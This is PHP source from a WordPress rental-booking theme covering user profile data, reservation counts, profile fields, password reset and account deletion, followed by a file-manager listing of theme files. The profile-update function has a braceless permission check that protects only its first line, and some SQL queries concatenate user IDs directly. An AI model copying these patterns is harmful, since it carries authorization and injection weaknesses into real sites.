        $doc_verified = get_the_author_meta('doc_verified', $ID);

        $author['name'] = get_the_author_meta('display_name', $ID) ?? get_the_author_meta('user_name', $ID);
        $author['name'] = empty(trim($author['name'])) ? esc_html__('User Deleted', 'homey') : $author['name'];

        $author['email'] = get_the_author_meta('email', $ID);
        $author['bio'] = get_the_author_meta('description', $ID);

        if (!empty($author_picture_id)) {
            $point += 30;

            $author_picture_id = intval($author_picture_id);
            if ($author_picture_id) {

                $photo = wp_get_attachment_image($author_picture_id, array($w, $h), "", array("class" => $classes));

                if (!empty($photo)) {
                    $author['photo'] = $photo;
                } else {
                    $author['photo'] = '<img id="profile-img-879" src="' . esc_url($custom_img) . '" class="' . esc_attr($classes) . '" alt="' . esc_attr($author['name']) . '" width="' . esc_attr($w) . '" height="' . esc_attr($h) . '">';
                }

                $author['is_photo'] = true;
            }
        } else {
            $author['photo'] = '<img id="profile-img-885" src="' . esc_url($custom_img) . '" class="' . esc_attr($classes) . '" alt="' . esc_attr($author['name']) . '" width="' . esc_attr($w) . '" height="' . esc_attr($h) . '">';
        }

        //counting listings with statues
        $author['all_listing_count'] = homey_hm_user_listing_count($ID);
        $author['publish_listing_count'] = homey_hm_user_publish_listing_count($ID);
        $author['all_featured_listing_count'] = homey_featured_listing_count($ID);

        $author['all_experience_count'] = homey_hm_user_experience_count($ID);
        $author['publish_experience_count'] = homey_hm_user_publish_experience_count($ID);
        $author['all_featured_experience_count'] = homey_featured_experience_count($ID);

        $native_language = get_the_author_meta($prefix . 'native_language', $ID);
        $other_language = get_the_author_meta($prefix . 'other_language', $ID);
        if (!empty($other_language) && !empty($native_language)) {
            $comma = ', ';
        }

        $author['facebook'] = get_the_author_meta('homey_author_facebook', $ID);
        $author['twitter'] = get_the_author_meta('homey_author_twitter', $ID);
        $author['linkedin'] = get_the_author_meta('homey_author_linkedin', $ID);
        $author['pinterest'] = get_the_author_meta('homey_author_pinterest', $ID);
        $author['instagram'] = get_the_author_meta('homey_author_instagram', $ID);
        $author['googleplus'] = get_the_author_meta('homey_author_googleplus', $ID);
        $author['youtube'] = get_the_author_meta('homey_author_youtube', $ID);
        $author['vimeo'] = get_the_author_meta('homey_author_vimeo', $ID);
        $author['airbnb'] = get_the_author_meta('homey_author_airbnb', $ID);
        $author['trip_advisor'] = get_the_author_meta('homey_author_trip_advisor', $ID);
        $author['link'] = get_author_posts_url($ID);
        $author['address'] = get_the_author_meta($prefix . 'street_address', $ID);
        $author['country'] = get_the_author_meta($prefix . 'country', $ID);
        $author['state'] = get_the_author_meta($prefix . 'state', $ID);
        $author['city'] = get_the_author_meta($prefix . 'city', $ID);
        $author['area'] = get_the_author_meta($prefix . 'area', $ID);
        $author['is_superhost'] = get_the_author_meta('is_superhost', $ID);
        $author['doc_verified'] = $doc_verified;
        $author['user_document_id'] = get_the_author_meta('homey_user_document_id', $ID);
        $author['doc_verified_request'] = get_the_author_meta('id_doc_verified_request', $ID);
        $author['native_language'] = $native_language;
        $author['other_language'] = $other_language;
        $author['total_earnings'] = homey_get_host_total_earnings($ID);
        $author['available_balance'] = homey_get_host_available_earnings($ID);
        $author['languages'] = esc_attr($native_language . $comma . $other_language);

        // Emergency Contact 
        $author['em_contact_name'] = get_the_author_meta($prefix . 'em_contact_name', $ID);
        $author['em_relationship'] = get_the_author_meta($prefix . 'em_relationship', $ID);
        $author['em_email'] = get_the_author_meta($prefix . 'em_email', $ID);
        $author['em_phone'] = get_the_author_meta($prefix . 'em_phone', $ID);

        $author['payout_payment_method'] = get_the_author_meta('payout_payment_method', $ID);
        $author['payout_paypal_email'] = get_the_author_meta('payout_paypal_email', $ID);
        $author['payout_skrill_email'] = get_the_author_meta('payout_skrill_email', $ID);

        // Beneficiary Information
        $author['ben_first_name'] = get_the_author_meta('ben_first_name', $ID);
        $author['ben_last_name'] = get_the_author_meta('ben_last_name', $ID);
        $author['ben_company_name'] = get_the_author_meta('ben_company_name', $ID);
        $author['ben_tax_number'] = get_the_author_meta('ben_tax_number', $ID);
        $author['ben_street_address'] = get_the_author_meta('ben_street_address', $ID);
        $author['ben_apt_suit'] = get_the_author_meta('ben_apt_suit', $ID);
        $author['ben_city'] = get_the_author_meta('ben_city', $ID);
        $author['ben_state'] = get_the_author_meta('ben_state', $ID);
        $author['ben_zip_code'] = get_the_author_meta('ben_zip_code', $ID);

        //Wire Transfer Information
        $author['bank_account'] = get_the_author_meta('bank_account', $ID);
        $author['swift'] = get_the_author_meta('swift', $ID);
        $author['bank_name'] = get_the_author_meta('bank_name', $ID);
        $author['wir_street_address'] = get_the_author_meta('wir_street_address', $ID);
        $author['wir_aptsuit'] = get_the_author_meta('wir_aptsuit', $ID);
        $author['wir_city'] = get_the_author_meta('wir_city', $ID);
        $author['wir_state'] = get_the_author_meta('wir_state', $ID);
        $author['wir_zip_code'] = get_the_author_meta('wir_zip_code', $ID);


        if (!empty($author['email'])) {
            $point += 30;

            $author['is_email'] = true;
        }

        if ($doc_verified) {
            $point += 40;
        }

        $percentage = ($point * $maximumPoints) / 100;
        $author['profile_status'] = $percentage . "%";
        $author['is_email_verified'] = get_the_author_meta('is_email_verified', $ID);

        return $author;
    }
}


if (!function_exists('homey_user_document_for_verification')) {
    function homey_user_document_for_verification($user_document_id, $w = '100', $h = '100', $classes = null)
    {
        $photo = wp_get_attachment_image($user_document_id, array($w, $h), "", array("class" => $classes));
        if (!empty($photo)) {
            return $photo;
        }
        return '';
    }
}


if (!function_exists('homey_is_host_payout')) {
    function homey_is_host_payout($user_id)
    {
        $payout_method = get_user_meta($user_id, 'payout_payment_method', true);

        if (!empty($payout_method)) {
            return $payout_method;
        } else {
            return '';
        }
    }
}


if (!function_exists('homey_reservation_count')) {
    function homey_reservation_count($user_id, $reservation_status = '')
    {
        $args = array(
            'post_type' => 'homey_reservation',
            'posts_per_page' => -1,
        );

        if (!empty(trim($reservation_status))) {
            $meta_query[] = array(
                'key' => 'reservation_status',
                'value' => $reservation_status,
                'compare' => '='
            );
        }

        if (homey_is_renter()) {
            $meta_query[] = array(
                'key' => 'listing_renter',
                'value' => $user_id,
                'compare' => '='
            );
            $args['meta_query'] = $meta_query;
        } else {
            $meta_query[] = array(
                'key' => 'listing_owner',
                'value' => $user_id,
                'compare' => '='
            );
            $args['meta_query'] = $meta_query;
        }

        $Qry = new WP_Query($args);
        $founds = $Qry->found_posts;

        return $founds;

    }
}

if (!function_exists('homey_my_reservations_count')) {
    function homey_my_reservations_count($user_id, $reservation_status = '')
    {
        $args = array(
            'post_type' => 'homey_reservation',
            'posts_per_page' => -1,
        );

        if (!empty(trim($reservation_status))) {
            $meta_query[] = array(
                'key' => 'reservation_status',
                'value' => $reservation_status,
                'compare' => '='
            );
        }

        $meta_query[] = array(
            'key' => 'listing_owner',
            'value' => $user_id,
            'compare' => '='
        );
        $args['meta_query'] = $meta_query;

        $Qry = new WP_Query($args);
        $founds = $Qry->found_posts;

        return $founds;

    }
}

if (!function_exists('homey_i_booked_count')) {
    function homey_i_booked_count($user_id, $reservation_status = '')
    {
        $args = array(
            'post_type' => 'homey_reservation',
            'posts_per_page' => -1,
        );

        if (!empty(trim($reservation_status))) {
            $meta_query[] = array(
                'key' => 'reservation_status',
                'value' => $reservation_status,
                'compare' => '='
            );
        }

        $meta_query[] = array(
            'key' => 'listing_renter',
            'value' => $user_id,
            'compare' => '='
        );
        $args['meta_query'] = $meta_query;

        $Qry = new WP_Query($args);
        $founds = $Qry->found_posts;

        return $founds;

    }
}

if (!function_exists('homey_experience_reservation_count')) {
    function homey_experience_reservation_count($user_id)
    {
        $args = array(
            'post_type' => 'homey_e_reservation',
            'posts_per_page' => -1,
        );

        if (homey_is_renter()) {
            $meta_query[] = array(
                'key' => 'experience_renter',
                'value' => $user_id,
                'compare' => '='
            );
            $args['meta_query'] = $meta_query;
        } else {
            $meta_query[] = array(
                'key' => 'experience_owner',
                'value' => $user_id,
                'compare' => '='
            );
            $args['meta_query'] = $meta_query;
        }

        $Qry = new WP_Query($args);
        $founds = $Qry->found_posts;

        return $founds;

    }
}

if (!function_exists('homey_featured_listing_count')) {
    function homey_featured_listing_count($user_id)
    {
        if ($user_id > 0) {
            global $wpdb;
            $sql = 'SELECT COUNT("ID") as total_featured_listings 
                    FROM ' . $wpdb->prefix . 'posts AS p 
                    INNER JOIN ' . $wpdb->prefix . 'postmeta AS pm ON p.ID =  pm.post_id 
                    WHERE p.post_author = ' . $user_id . ' AND p.post_type = "listing" AND pm.meta_key = "homey_featured" AND pm.meta_value = 1';

            $total_featured_listings = $wpdb->get_results($sql);
            return isset($total_featured_listings[0]->total_featured_listings) ? $total_featured_listings[0]->total_featured_listings : 0;
        }

        return 0;

    }
}

if (!function_exists('homey_hm_user_listing_count')) {
    function homey_hm_user_listing_count($user_id = 0)
    {
        if ($user_id > 0) {
            global $wpdb;
            $sql = 'SELECT COUNT("ID") as total_listings FROM ' . $wpdb->prefix . 'posts AS p WHERE p.post_author = ' . $user_id . ' AND p.post_type = "listing"';
            $total_listings = $wpdb->get_results($sql);
            return isset($total_listings[0]->total_listings) ? $total_listings[0]->total_listings : 0;
        }

        return 0;
    }
}

if (!function_exists('homey_hm_user_publish_listing_count')) {
    function homey_hm_user_publish_listing_count($user_id = 0)
    {
        if ($user_id > 0) {
            global $wpdb;
            $sql = 'SELECT COUNT("ID") as total_listings FROM ' . $wpdb->prefix . 'posts AS p WHERE p.post_status ="publish" AND p.post_author = ' . $user_id . ' AND p.post_type = "listing"';
            $total_listings = $wpdb->get_results($sql);
            return isset($total_listings[0]) ? $total_listings[0]->total_listings : 0;;
        }

        return 0;
    }
}

//experiences counting function
if (!function_exists('homey_featured_experience_count')) {
    function homey_featured_experience_count($user_id = 0)
    {
        if ($user_id > 0) {
            global $wpdb;
            $sql = 'SELECT COUNT("ID") as total_featured_experiences 
                    FROM ' . $wpdb->prefix . 'posts AS p 
                    INNER JOIN ' . $wpdb->prefix . 'postmeta AS pm ON p.ID =  pm.post_id 
                    WHERE p.post_author = ' . $user_id . ' AND p.post_type = "experience" AND pm.meta_key = "homey_featured" AND pm.meta_value = 1';

            $total_featured_experiences = $wpdb->get_results($sql);
            return isset($total_featured_experiences[0]->total_featured_experiences) ? $total_featured_experiences[0]->total_featured_experiences : 0;
        }

        return 0;
    }
}

if (!function_exists('homey_hm_user_experience_count')) {
    function homey_hm_user_experience_count($user_id = 0)
    {
        if ($user_id > 0) {
            global $wpdb;
            $sql = 'SELECT COUNT("ID") as total_experiences FROM ' . $wpdb->prefix . 'posts AS p WHERE p.post_author = ' . $user_id . ' AND p.post_type = "experience"';
            $total_experiences = $wpdb->get_results($sql);
            return isset($total_experiences[0]->total_listings) ? $total_experiences[0]->total_experiences : 0;
        }

        return 0;

    }
}

if (!function_exists('homey_hm_user_publish_experience_count')) {
    function homey_hm_user_publish_experience_count($user_id = 0)
    {
        if ($user_id > 0) {
            global $wpdb;
            $sql = 'SELECT COUNT("ID") as total_experiences FROM ' . $wpdb->prefix . 'posts AS p WHERE p.post_status ="publish" AND p.post_author = ' . $user_id . ' AND p.post_type = "experience"';
            $total_experiences = $wpdb->get_results($sql);
            return $total_experiences[0]->total_experiences;
        }

        return 0;

    }
}


/**
 * Show custom user profile fields
 * @param obj $user The user object.
 * @return void
 */
function homey_custom_user_profile_fields($user)
{
    ?>

    <h2><?php echo esc_html__('Social Info', 'homey'); ?></h2>
    <table class="form-table">
        <tbody>
        <tr class="user-homey_author_facebook-wrap">
            <th><label for="homey_author_facebook"><?php echo esc_html__('Facebook', 'homey'); ?></label></th>
            <td><input type="text" name="homey_author_facebook" id="homey_author_facebook"
                       value="<?php echo esc_url(get_the_author_meta('homey_author_facebook', $user->ID)); ?>"
                       class="regular-text"></td>
        </tr>
        <tr class="user-homey_author_linkedin-wrap">
            <th><label for="homey_author_linkedin"><?php echo esc_html__('LinkedIn', 'homey'); ?></label></th>
            <td><input type="text" name="homey_author_linkedin" id="homey_author_linkedin"
                       value="<?php echo esc_url(get_the_author_meta('homey_author_linkedin', $user->ID)); ?>"
                       class="regular-text"></td>
        </tr>
        <tr class="user-homey_author_twitter-wrap">
            <th><label for="homey_author_twitter"><?php echo esc_html__('Twitter', 'homey'); ?></label></th>
            <td><input type="text" name="homey_author_twitter" id="homey_author_twitter"
                       value="<?php echo esc_url(get_the_author_meta('homey_author_twitter', $user->ID)); ?>"
                       class="regular-text"></td>
        </tr>
        <tr class="user-homey_author_pinterest-wrap">
            <th><label for="homey_author_pinterest"><?php echo esc_html__('Pinterest', 'homey'); ?></label></th>
            <td><input type="text" name="homey_author_pinterest" id="homey_author_pinterest"
                       value="<?php echo esc_url(get_the_author_meta('homey_author_pinterest', $user->ID)); ?>"
                       class="regular-text"></td>
        </tr>
        <tr class="user-homey_author_instagram-wrap">
            <th><label for="homey_author_instagram"><?php echo esc_html__('Instagram', 'homey'); ?></label></th>
            <td><input type="text" name="homey_author_instagram" id="homey_author_instagram"
                       value="<?php echo esc_url(get_the_author_meta('homey_author_instagram', $user->ID)); ?>"
                       class="regular-text"></td>
        </tr>
        <tr class="user-homey_author_youtube-wrap">
            <th><label for="homey_author_youtube"><?php echo esc_html__('Youtube', 'homey'); ?></label></th>
            <td><input type="text" name="homey_author_youtube" id="homey_author_youtube"
                       value="<?php echo esc_url(get_the_author_meta('homey_author_youtube', $user->ID)); ?>"
                       class="regular-text"></td>
        </tr>
        <tr class="user-homey_author_vimeo-wrap">
            <th><label for="homey_author_vimeo"><?php echo esc_html__('Vimeo', 'homey'); ?></label></th>
            <td><input type="text" name="homey_author_vimeo" id="homey_author_vimeo"
                       value="<?php echo esc_url(get_the_author_meta('homey_author_vimeo', $user->ID)); ?>"
                       class="regular-text"></td>
        </tr>
        <tr class="user-homey_author_googleplus-wrap">
            <th><label for="homey_author_googleplus"><?php echo esc_html__('Google Plus', 'homey'); ?></label></th>
            <td><input type="text" name="homey_author_googleplus" id="homey_author_googleplus"
                       value="<?php echo esc_url(get_the_author_meta('homey_author_googleplus', $user->ID)); ?>"
                       class="regular-text"></td>
        </tr>

        <tr class="user-homey_author_airbnb-wrap">
            <th><label for="homey_author_airbnb"><?php echo esc_html__('Airbnb', 'homey'); ?></label></th>
            <td><input type="text" name="homey_author_airbnb" id="homey_author_airbnb"
                       value="<?php echo esc_url(get_the_author_meta('homey_author_airbnb', $user->ID)); ?>"
                       class="regular-text"></td>
        </tr>

        <tr class="user-homey_author_trip_advisor-wrap">
            <th><label for="homey_author_trip_advisor"><?php echo esc_html__('Trip Advisor Url', 'homey'); ?></label>
            </th>
            <td><input type="text" name="homey_author_trip_advisor" id="homey_author_trip_advisor"
                       value="<?php echo esc_url(get_the_author_meta('homey_author_trip_advisor', $user->ID)); ?>"
                       class="regular-text"></td>
        </tr>
        </tbody>
    </table>

    <?php
}

add_action('show_user_profile', 'homey_custom_user_profile_fields');
add_action('edit_user_profile', 'homey_custom_user_profile_fields');


if (!function_exists('homey_update_extra_profile_fields')) {
    function homey_update_extra_profile_fields($user_id = 0)
    {
        if (current_user_can('edit_user', $user_id))


            /*
             * Social Info
            --------------------------------------------------------------------------------*/
            update_user_meta($user_id, 'homey_author_facebook', sanitize_text_field($_POST['homey_author_facebook']));
        update_user_meta($user_id, 'homey_author_linkedin', sanitize_text_field($_POST['homey_author_linkedin']));
        update_user_meta($user_id, 'homey_author_twitter', sanitize_text_field($_POST['homey_author_twitter']));
        update_user_meta($user_id, 'homey_author_pinterest', sanitize_text_field($_POST['homey_author_pinterest']));
        update_user_meta($user_id, 'homey_author_instagram', sanitize_text_field($_POST['homey_author_instagram']));
        update_user_meta($user_id, 'homey_author_youtube', sanitize_text_field($_POST['homey_author_youtube']));
        update_user_meta($user_id, 'homey_author_vimeo', sanitize_text_field($_POST['homey_author_vimeo']));
        update_user_meta($user_id, 'homey_author_googleplus', sanitize_text_field($_POST['homey_author_googleplus']));
        update_user_meta($user_id, 'homey_author_airbnb', sanitize_text_field($_POST['homey_author_airbnb']));
        update_user_meta($user_id, 'homey_author_trip_advisor', sanitize_text_field($_POST['homey_author_trip_advisor']));

    }
}
add_action('edit_user_profile_update', 'homey_update_extra_profile_fields');
add_action('personal_options_update', 'homey_update_extra_profile_fields');


/* -----------------------------------------------------------------------------------------------------------
 *  Forgot PassWord function
 -------------------------------------------------------------------------------------------------------------*/

$reset_password_link = homey_get_template_link_2('template/template-verification.php');

if (!empty($reset_password_link)) :

    add_action('login_form_rp', 'homey_redirect_to_custom_password_reset');
    add_action('login_form_resetpass', 'homey_redirect_to_custom_password_reset');

endif;

if (!function_exists('homey_redirect_to_custom_password_reset')) :

    function homey_redirect_to_custom_password_reset()
    {

        if ('GET' == $_SERVER['REQUEST_METHOD']) :

            $reset_password_link = homey_get_template_link_2('template/template-verification.php');

            // Verify key / login combo
            $user = check_password_reset_key($_REQUEST['key'], $_REQUEST['login']);

            if (!$user || is_wp_error($user)) :

                if ($user && $user->get_error_code() === 'expired_key') :

                    wp_redirect(home_url($reset_password_link . '?login=expiredkey'));

                else :

                    wp_redirect(home_url($reset_password_link . '?login=invalidkey'));

                endif;

                exit;

            endif;


            $redirect_url = add_query_arg(
                array(
                    'login' => esc_attr($_REQUEST['login']),
                    'key' => esc_attr($_REQUEST['key']),
                ),
                $reset_password_link
            );

            wp_redirect($redirect_url);

            exit;

        endif;

    }

endif;

add_action('wp_ajax_nopriv_homey_reset_password_2', 'homey_reset_password_2');
add_action('wp_ajax_homey_reset_password_2', 'homey_reset_password_2');

if (!function_exists('homey_reset_password_2')) {
    function homey_reset_password_2()
    {
        $allowed_html = array();

        $newpass = wp_kses($_POST['password'], $allowed_html);
        $rq_login = wp_kses($_POST['rq_login'], $allowed_html);
        $rp_key = wp_kses($_POST['rp_key'], $allowed_html);

        $user = check_password_reset_key($rp_key, $rq_login);

        if (!$user || is_wp_error($user)) {

            if ($user && $user->get_error_code() === 'expired_key') {
                echo json_encode(array('success' => false, 'msg' => esc_html__('Reset password Session key expired.', 'homey')));
                die();
            } else {
                echo json_encode(array('success' => false, 'msg' => esc_html__('Invalid password reset Key', 'homey')));
                die();
            }
        }

        if ($newpass == '') {
            echo json_encode(array('success' => false, 'msg' => esc_html__('Please enter password', 'homey')));
            die();
        }

        reset_password($user, $newpass);
        echo json_encode(array('success' => true, 'msg' => esc_html__('Password reset successfully, you can login now.', 'homey')));
        die();
    }
}

/*-----------------------------------------------------------------------------------*/
// Remove user photo
/*-----------------------------------------------------------------------------------*/
add_action('wp_ajax_homey_delete_user_account', 'homey_delete_user_account');
if (!function_exists('homey_delete_user_account')) {
    function homey_delete_user_account()
    {
        global $wpdb;
        $remove_account = false;

        $verify_nonce = $_REQUEST['verify_nonce'];
        if (!wp_verify_nonce($verify_nonce, 'homey_upload_nonce')) {
            echo json_encode(array('success' => false, 'reason' => 'Invalid request'));
            die;
        }

        if (isset($_POST['user_id'])) {
            $user_id = intval($_POST['user_id']);
            $current_user = wp_get_current_user();
            $currentUserID = $current_user->ID;

            //check if admin is trying to valid user, and second check is if user wants to delete him/herself.
            if (($user_id > 0 && homey_is_admin()) || ($user_id > 0 && $user_id == $currentUserID)) {
                $remove_account = wp_delete_user($user_id);
                $sql = "DELETE a,b,c
                        FROM {$wpdb->prefix}posts a
                            LEFT JOIN {$wpdb->prefix}term_relationships b
                                ON (a.ID = b.object_id)
                            LEFT JOIN {$wpdb->prefix}postmeta c
                                ON (a.ID = c.post_id)
                        WHERE a.post_author = {$user_id} AND a.post_type = 'homey_invoice';";
                $wpdb->get_results($sql);

            } else {
                echo json_encode(array(
                    'success' => 'Not deleted, something wrong happened.',
                ));
                wp_die();
            }
        }

        echo json_encode(array(
            'success' => $remove_account,
        ));
        wp_die();

    }
}

Filemanager

Name Type Size Permission Actions
calendar-daily-date.php File 12.36 KB 0644
calendar-hourly.php File 6.12 KB 0644
calendar.php File 15.58 KB 0644
cron.php File 5.23 KB 0644
demo-importer.php File 18.03 KB 0644
experiences-reservation.php File 129.32 KB 0644
experiences.php File 164.04 KB 0644
helper.php File 172.04 KB 0644
icalendar-exp.php File 22.14 KB 0644
icalendar.php File 27.05 KB 0644
listings.php File 194.97 KB 0644
messages.php File 24.05 KB 0644
price.php File 34.39 KB 0644
profile.php File 63.83 KB 0644
reservation-hourly.php File 157.92 KB 0644
reservation.php File 399.94 KB 0644
review-exp.php File 32.01 KB 0644
review.php File 43.02 KB 0644
search-experiences.php File 31.2 KB 0644
search.php File 56.23 KB 0644
v13-db.php File 8.85 KB 0644
wallet.php File 76.73 KB 0644
woocommerce.php File 869 B 0644